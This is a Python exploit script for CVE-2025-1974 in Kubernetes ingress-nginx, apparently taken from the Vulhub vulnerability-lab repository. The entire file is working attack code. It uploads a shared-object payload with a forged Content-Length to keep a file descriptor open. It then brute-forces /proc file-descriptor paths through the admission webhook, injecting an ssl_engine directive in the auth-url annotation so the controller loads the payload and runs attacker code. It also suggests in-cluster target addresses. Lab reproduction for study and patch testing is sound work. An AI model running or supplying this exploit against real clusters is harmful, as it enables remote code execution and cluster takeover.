Files
vulhub/ingress-nginx/CVE-2025-1974/exploit.py
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

234 lines
7.2 KiB
Python

import base64
import time
import argparse
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
admission_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
# print(response.text) - use this to debug (check response of admission webhook)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
# proc = input("INPUT PROC:") - use this for manual testing
# fd = input("INPUT FD:") - use this for manual testing
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
for proc in range(160, 180): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
def exploit(ingress_url, shell_file):
if not os.path.exists(shell_file):
print(f"Error: Shell file '{shell_file}' not found")
sys.exit(1)
so = open(shell_file, 'rb').read() + b"\x00" * 8092
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(1)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Response:")
print(response.decode(errors="ignore"))
sock.close()
def parse_arguments():
# Default values for the service
default_admission = "https://localhost:32043/networking/v1/ingresses"
default_ingress = "http://localhost:32080/fake/addr"
# Suggested values when running in a kubernetes cluster
suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
parser.add_argument('-a', '--admission',
default=default_admission,
help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
parser.add_argument('-i', '--ingress',
default=default_ingress,
help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
parser.add_argument('-s', '--shell-file',
default="shell.so",
help='Path to the shell.so file (default: shell.so)')
parser.add_argument('-w', '--workers',
type=int,
default=10,
help='Number of worker threads for brute forcing (default: 10)')
return parser.parse_args()
def main():
args = parse_arguments()
print(f"[*] Using shell file: {args.shell_file}")
print(f"[*] Admission URL: {args.admission}")
print(f"[*] Ingress URL: {args.ingress}")
print(f"[*] Workers: {args.workers}")
print("[*] Starting exploit...")
# Send the library to the ingress pod and keep the connection open
# to keep the file open via the file descriptor (FD)
x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
x.start()
# Give the exploit thread time to start and upload the shellcode
time.sleep(2)
# Start the admission webhook brute force (/proc/{pid}/fd/{fd})
admission_brute(args.admission, max_workers=args.workers)
if __name__ == "__main__":
main()